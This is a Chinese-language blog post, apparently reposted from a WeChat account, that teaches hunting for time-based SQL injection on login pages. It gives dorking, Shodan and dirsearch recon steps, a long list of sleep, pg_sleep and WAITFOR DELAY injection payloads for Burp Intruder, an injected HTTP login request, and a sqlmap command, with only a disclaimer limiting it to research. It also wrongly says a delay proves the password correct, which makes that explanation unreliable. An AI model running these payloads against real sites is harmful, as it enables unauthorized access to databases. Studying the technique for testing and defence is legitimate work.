分享一个如何寻找sqli的思路

admin 2023年1月8日14:09:51评论20 views字数 2735阅读9分7秒阅读模式

分享一个如何寻找sqli的思路

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

正文

何为基于时间的SQLi

主要利用了一些数据库系统中存在的时间延迟,以进行攻击。

具体来说,攻击者会向数据库发送一条带有恶意代码的 SQL 查询语句,这条语句的作用是让数据库系统执行一些操作,比如执行睡眠函数,这样就可以使数据库系统延迟一段时间。攻击者可以通过测量这段延迟来判断数据库的输出是否正确。

假设有一个登录表单,其中有两个字段:用户名和密码。表单提交后,后端代码会执行一条 SQL 查询语句,来验证用户名和密码是否正确。假设这条 SQL 查询语句的形式如下:

SELECT * FROM users WHERE username='$username' AND password='$password';

攻击者可以使用基于时间的SQL 注入攻击来猜测用户的密码。为了探测数据库是否会执行睡眠函数,攻击者可以在密码字段中输入如下恶意代码:

' OR SLEEP(5)=0 --

这条代码会让 SQL 查询语句的形式变成这样:

SELECT * FROM users WHERE username='$username' AND password='' OR SLEEP(5)=0 --';

这条语句会让数据库系统执行睡眠函数,使数据库系统延迟 5 秒。如果数据库系统执行了睡眠函数,那么说明密码是正确的,攻击者就可以猜测出用户的密码。

当然,这只是一个简单的例子,在实际操作中,攻击者可能会使用更加复杂的恶意代码来进行攻击。

哪里可以找到基于时间的SQLi

  1. 登陆页面
  2. Headers
  3. GET参数

这里主要关注登录页面,并尝试检查ORG是否在任何域中使用jsp,php或aspx。

方法

方法1: 利用google dork

site:target.com inurl:login | inurl:signin | intitle:Login | intitle:"sign in" | inurl:auth

方法2: 使用Shodan

http.title:”target”

方法3: FUZZING

使用dirsearch:

dirsearch.py -l target.txt -e php,asp,aspx,jsp,py,txt,conf,config,bak,backup,swp,old,db,sqlasp,aspx,aspx~,asp~,py,py~,rb,rb~,php,php~,bak,bkp,cache,cgi,conf,csv,html,inc,jar,js,json,jsp,jsp~,lock,log,rar,old,sql,sql.gz,sql.zip,sql.tar.gz,sql~,swp,swp~,tar,tar.bz2,tar.gz,txt,wadl,zip -i 200 — full-url

测试

在搜集到所有信息之后,下面进行测试:

1.输入用户名用密码

2.使用Bp,发送请求至intruder

3.使用如下payload:

or sleep 5 —
or sleep 5
or sleep(5) —
or sleep(5)

or SELECT pg_sleep(5);
(SELECT pg_sleep(5))
pg_sleep(5) —
1 or pg_sleep(5) —
“ or pg_sleep(5) —
‘ or pg_sleep(5) —
1) or pg_sleep(5) —

;waitfor delay ‘0:0:5’ —
‘;WAITFOR DELAY ‘0:0:5’ —
);waitfor delay ‘0:0:5’ —
‘;waitfor delay ‘0:0:5’ —
“;waitfor delay ‘0:0:5’ —
‘);waitfor delay ‘0:0:5’ —
“);waitfor delay ‘0:0:5’ —
));waitfor delay ‘0:0:5’ —
‘));waitfor delay ‘0:0:5’ —
“));waitfor delay ‘0:0:5’ —
“) IF (1=1) WAITFOR DELAY ‘0:0:5’ —
‘;%5waitfor%5delay%5’0:0:5′%5 — %5
‘ WAITFOR DELAY ‘0:0:5’ —

4.将用户名和密码作为攻击位置

5.攻击模式使用pitchfork模式

6.启用攻击

一旦发现长度有异常或者status code不可见,而后可以在sqlmap中进行测试

复制请求,如下所示(request.txt):

POST /products/der/admin/index.php HTTP/1.1
Host: stite.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
Origin: https://site.der.net
Connection: close
Cookie: PHPSESSID=ckpekt03vhn9mlgaapa50kujt3; _ga_97C2F8CQVY=GS1.1.1672995465.1.0.1672995465.0.0.0; _ga=GA1.1.582203600.1672995466
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
username=’%3b%5waitfor%5delay%5′0%3a0%3a5′%5
-
%5&password=’%3b%5waitfor%5delay%5′0%3a0%3a5′%5
-
%5&btn_login=

运行:

sqlmap -r request.txt -b

原文始发于微信公众号(迪哥讲事):分享一个如何寻找sqli的思路

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月8日14:09:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   分享一个如何寻找sqli的思路http://cn-sec.com/archives/1505841.html

发表评论

匿名网友 填写信息